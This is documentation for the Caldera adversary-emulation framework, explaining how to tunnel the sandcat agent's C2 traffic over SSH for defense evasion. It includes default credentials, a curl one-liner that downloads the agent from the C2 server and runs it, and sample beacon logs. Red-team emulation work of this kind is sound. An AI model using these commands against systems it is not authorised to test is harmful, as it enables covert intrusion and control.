C2 Communications Tunneling

In addition to built-in contact methods such as HTTP, DNS, TCP, and UDP, Caldera also provides support for tunneling C2 traffic, which supporting agents can use to mask built-in contact methods for added defense evasion. Currently, the only available tunneling method is SSH tunneling, which is only supported by the sandcat agent.

SSH Tunneling

Sandcat agents can use SSH tunneling to tunnel C2 contact mechanisms, namely HTTP(S). Caldera also provides built-in support to spin up a minimal local SSH server for SSH tunneling.

Usage - Serverside

Within the Caldera configuration file, adjust the following entries according to your environment:

  • app.contact.tunnel.ssh.host_key_file: File name for the server’s SSH private host key. You can generate your own SSH private host key for the Caldera server. The file must reside in the conf/ssh_keys directory. If the Caldera server cannot find or read the provided private host key, it will generate a temporary RSA host key to use for operations. Although this would cause security warnings under normal circumstances, the sandcat agent implementation of SSH tunneling does not attempt to verify hosts, and thus should not be affected by changing or temporary host keys.

  • app.contact.tunnel.ssh.host_key_passphrase: Passphrase for the server’s SSH private host key. The server will use this passphrase to read the private host key file provided in app.contact.tunnel.ssh.host_key_file.

  • app.contact.tunnel.ssh.socket: Indicates the IP address and port that the Caldera server will listen on for SSH tunneling connections (e.g.

  • app.contact.tunnel.ssh.user_name: User name that agents will use to authenticate to the Caldera server via SSH. The default value is sandcat.

  • app.contact.tunnel.ssh.user_password: Password that agents will use to authenticate to the Caldera server via SSH. The default value is s4ndc4t!.

Once the configuration entries are set, simply start the Caldera server up as normal via the server.py Python program, and Caldera will automatically attempt to start an SSH server that listens on the specified socket (app.contact.tunnel.ssh.socket).

The contact will first attempt to read in the host private key file specified by app.contact.tunnel.ssh.host_key_file, using the passphrase specified by app.contact.tunnel.ssh.host_key_passphrase. If it cannot read the file for whatever reason (e.g. file does not exist, or the passphrase is incorrect), then the server will generate its own temporary private key to use for the server.

The SSH server should only be used between agents and the C2 server and should not be used to SSH into the Caldera server manually (e.g. to manage the server remotely).

Usage - Agent

The sandcat agent is currently the only agent that supports SSH tunneling. To use it, the server, tunnelProtocol, tunnelAddr, tunnelUser, and tunnelPassword arguments must be used.

  • server value is the Caldera server endpoint that the tunnel will connect to - if the agent is tunneling HTTP communications through SSH, then server should be the HTTP socket for the Caldera C2 server (e.g.

  • tunnelProtocol value is the name of the tunneling mechanism that the agent is using. For SSH, the value must be SSH.

  • tunnelAddr is the port number or IP:port combination that indicates which port or socket to connect to via SSH to start the tunnel (e.g. 8022 or If only a port number is provided, the agent will try to connect to the IP address from server using the specified port. The server listening on the port/socket should be listening for SSH connections from agents.

  • tunnelUser indicates which username to use to authenticate to tunnelAddr via SSH. This username should match the Caldera configuration value for app.contact.tunnel.ssh.user_name.

  • tunnelPassword indicates which password to use to authenticate to tunnelAddr via SSH. This password should match the Caldera configuration value for app.contact.tunnel.ssh.user_password.

To tunnel different contacts through SSH tunneling, simply adjust the c2 and server values as needed.

When authenticating to the provided SSH server, the sandcat agent will use the username/password provided by the tunnelUser and tunnelPassword arguments. Whatever credentials the agent uses must reflect the Caldera configuration values specified in app.contact.tunnel.ssh.user_name and app.contact.tunnel.ssh.user_password. The agent will then open a random local port to act as the local endpoint of the SSH tunnel. This local endpoint becomes the upstream_dest value for the agent.

The following commandline will start a sandcat agent that will open up an SSH tunnel to the Caldera c2 server at, and the tunneled communications will be sent to the c2 server’s HTTP endpoint at

curl -s -X POST -H "file:sandcat.go" -H "platform:linux" $server/file/download > sandcat.go;
chmod +x sandcat.go;
./sandcat.go -server $server -v -tunnelProtocol SSH -tunnelAddr 8022 -tunnelUser sandcat -tunnelPassword s4ndc4t!

The above Linux agent will produce verbose output similar to the following:

SStarting sandcat in verbose mode.
[*] Starting SSH tunnel
Starting local tunnel endpoint at localhost:52649
Setting server tunnel endpoint at
Setting remote endpoint at localhost:8888
[*] Listening on local SSH tunnel endpoint
[*] SSH tunnel ready and listening on http://localhost:52649.
[*] Attempting to set channel HTTP
Beacon API=/beacon
[*] Set communication channel to HTTP
initial delay=0
upstream dest addr=http://localhost:52649
allow local p2p receivers=false
beacon channel=HTTP
Local tunnel endpoint=http://localhost:52649
[*] Accepted connection on local SSH tunnel endpoint
[*] Listening on local SSH tunnel endpoint
[*] Forwarding connection to server
[*] Opened remote connection through tunnel
[+] Beacon (HTTP): ALIVE

The agent connected to the C2 server via SSH at and opened a local SSH tunnel on local port 52649 that tunnels HTTP traffic to the C2 server at This is the equivalent of running ssh -L 52649:localhost:8888 sandcat@ -p 8022 -N.

Note that the agent’s upstream destination endpoint is set to the local SSH tunnel endpoint at http://localhost:54351 (the protocol is set to http since the agent is tunneling HTTP comms), while the true server value is the final tunnel destination at

If running the Caldera c2 server with logging verbosity set to DEBUG, you may see output similar to the following when an agent connects via SSH tunneling:

2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2] Accepted SSH connection on, port 8022
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2]   Client address:, port 43796
2021-03-26 09:12:43 - DEBUG (contact_ssh.py:52 connection_made) SSH connection received from
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Requesting key exchange
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Received key exchange request
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Beginning key exchange
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Completed key exchange
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2] Beginning auth for user sandcat
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2] Trying password auth
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2] Auth for user sandcat succeeded
2021-03-26 09:12:43 - DEBUG (contact_ssh.py:48 connection_requested) Connection request from to localhost:8888
2021-03-26 09:12:43 - DEBUG (logging.py:79 log) [conn=2, chan=0] Set write buffer limits: low-water=16384, high-water=65536
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2] Accepted direct TCP connection request to localhost, port 8888
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2]   Client address:
2021-03-26 09:12:43 - INFO  (logging.py:79 log) [conn=2]   Forwarding TCP connection to localhost, port 8888
2021-03-26 09:12:43 - DEBUG (contact_svc.py:64 handle_heartbeat) First time HTTP beacon from kliuok

Once the tunnel is established, operators can proceed as normal with agent activity and operations.